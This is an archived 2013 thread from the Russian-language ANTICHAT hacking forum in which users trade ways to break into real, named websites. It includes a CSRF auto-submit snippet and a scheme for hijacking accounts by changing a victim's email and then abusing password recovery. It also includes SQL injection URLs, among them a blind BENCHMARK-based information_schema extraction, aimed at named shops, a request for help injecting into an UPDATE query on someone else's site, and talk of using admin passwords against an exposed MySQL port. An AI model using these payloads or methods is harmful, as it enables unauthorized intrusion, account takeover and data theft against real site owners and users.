ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
18.08.2013, 19:25
|
|
Новичок
Регистрация: 15.05.2010
Сообщений: 0
Провел на форуме:
2268
Репутация:
0
|
|
Можно тестовый аккаунт, обязательно посмотрю?Судя по этой форме, что вы скинули, при отсутствии защиты, статически будет это так:
PHP код:
PHP:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]
[/COLOR][COLOR="#0000BB"]document[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]getElementById[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'test'[/COLOR][COLOR="#007700"]).[/COLOR][COLOR="#0000BB"]submit[/COLOR][COLOR="#007700"]();
[/COLOR][COLOR="#0000BB"][/COLOR]
[/COLOR]
Предполагаю, что возможно сменить пароль не задавая старый нереально.
|
|
|
18.08.2013, 20:36
|
|
Guest
Сообщений: n/a
Провел на форуме:
1475
Репутация:
0
|
|
Сообщение от XAMEHA
XAMEHA said:
Можно тестовый аккаунт, обязательно посмотрю?
Судя по этой форме, что вы скинули, при отсутствии защиты, статически будет это так:
PHP код:
PHP:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]
[/COLOR][COLOR="#0000BB"]document[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]getElementById[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'test'[/COLOR][COLOR="#007700"]).[/COLOR][COLOR="#0000BB"]submit[/COLOR][COLOR="#007700"]();
[/COLOR][COLOR="#0000BB"][/COLOR]
[/COLOR]
Предполагаю, что возможно сменить пароль не задавая старый нереально. )) так в этом и фишка бро) нужно всеголишь изменить mail, и начинаются танцы))) как только у жертвы поменяется почта, ты заходишь на сайт жмём "востоновить" после вводим мэил который поменялся у жертвы... к нам на почту приходит его ник и пароль (который стоит в настоящие время)) то есть пароль не сбрасывается а отправляется существующий в настоящий момент)) ах да вот аккаунт зарегал попробуй: логин: XAMEHA пароль: qwe123
|
|
|
|
19.08.2013, 07:23
|
|
Новичок
Регистрация: 15.05.2010
Сообщений: 0
Провел на форуме:
2268
Репутация:
0
|
|
Сообщение от nikitos2020
nikitos2020 said:
нужно всеголишь изменить mail, и начинаются танцы))
Но ведь этот ресурс не позволяет менять мыло даже у себя, оно не сохраняется в профиле
Кошелек, контакт, данные - да, а вот mail - нет. Возможно вам стоит выполнять какие-то другие действия?
|
|
|
|
19.08.2013, 19:48
|
|
Guest
Сообщений: n/a
Провел на форуме:
94006
Репутация:
24
|
|
В общем есть сукля, но раскрутить её не получается
Код:
Code:
http://shimanomarket.com.ua/products.php?category=53&page=0&special=show&order=-dprice%29%27+union+select+1,2,3+--+
и вторая
Код:
Code:
http://www.aerosol.com.ua/products.php?id=3%27
но если дописать union+select выбьет = Not Acceptable |
|
|
|
20.08.2013, 00:54
|
|
Guest
Сообщений: n/a
Провел на форуме:
17560
Репутация:
0
|
|
http://linzapro.ru/feedback/
пост
fsearch=777[SQL]&subsearch=1
не буду врать - нашел через софт, но руками никак...!
|
|
|
|
20.08.2013, 01:04
|
|
Guest
Сообщений: n/a
Провел на форуме:
107835
Репутация:
23
|
|
Сообщение от Always
Always said:
http://linzapro.ru/feedback/
пост
fsearch=777[SQL]&subsearch=1
не буду врать - нашел через софт, но руками никак...!
Что за софт?
Блиндом крутится
http://linzapro.ru/bigpic_log.php?pid=109452%20and%20if%28Length%28%2 8select%20distinct%20table_name%20from%20%60inform ation_schema%60.tables%20where%20table_schema%3D0x 6C696E7A6170726F%20limit%201%2C1%29%29%3D21%2CBENC HMARK%28267134%2CMD5%280x41%29%29%2C0%29
|
|
|
|
20.08.2013, 16:51
|
|
Guest
Сообщений: n/a
Провел на форуме:
132418
Репутация:
652
|
|
Или так: post-запрос
 |
|
|
|
20.08.2013, 16:54
|
|
Новичок
Регистрация: 01.03.2007
Сообщений: 2
Провел на форуме:
3478
Репутация:
0
|
|
Отсечь часть UPDATE запроса
Добрый день,
на одном сайте столкнулся с заполнением анкеты, и в одном поле, случайно задал вместе с числом знак %, после чего при сохранения профиля мне выдало следующее:
Код:
Code:
You have an error in your SQL syntax; check the manual that corresponds
to your MySQL server version for the right syntax to use
near ';, abgl= 2, a_t = 2 WHERE id = 87637 AND user_id = 114239' at line 1 ---->
UPDATE you_profil SET t_raum_v= '09/2009 - 09/2012', zeitraum_von = '2009-9-00',
t_raum_b= '2012-9-00', beruf = '2', a_ort= 'Harward', e_znote= 'Bachelor',
notiz= 'Some text', note = 1.9%;, abgl= 2, a_t= 2 WHERE id = 87637 AND user_id = 114239
Пробывал экранировать остаток запроса после поля note = 1,9%-- и note = 1,9/** , но не выходит. Подскажите как можно закомментировать остаток запроса, что бы он не исполнялся. Вместо него хочу добавить свой запрос.
|
|
|
|
20.08.2013, 22:45
|
|
Guest
Сообщений: n/a
Провел на форуме:
17560
Репутация:
0
|
|
Сообщение от er9j6@
er9j6@ said:
Что за софт?
Блиндом крутится
http://linzapro.ru/bigpic_log.php?pid=109452%20and%20if%28Length%28%2 8select%20distinct%20table_name%20from%20%60inform ation_schema%60.tables%20where%20table_schema%3D0x 6C696E7A6170726F%20limit%201%2C1%29%29%3D21%2CBENC HMARK%28267134%2CMD5%280x41%29%29%2C0%29
Сообщение от YaBtr
YaBtr said:
Или так:
post
-запрос
никак...!
|
|
|
|
21.08.2013, 00:35
|
|
Guest
Сообщений: n/a
Провел на форуме:
705
Репутация:
0
|
|
Приветствую всех.
При запросе site.ru:3306 скачивается файл а в нем версия мускуля
F 5.0.32-Debian_7etch5 нz J>8>m**0 ,ў! U:a\)VU*mg@F яBad handshake
настройки мускула неправильные?
дальше что нить можно с этим сделать?
есть пароли админов но при вводе они не проходят ...
проверка по айпи может?
или еще как нить блокирует ?
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Комбинированный вид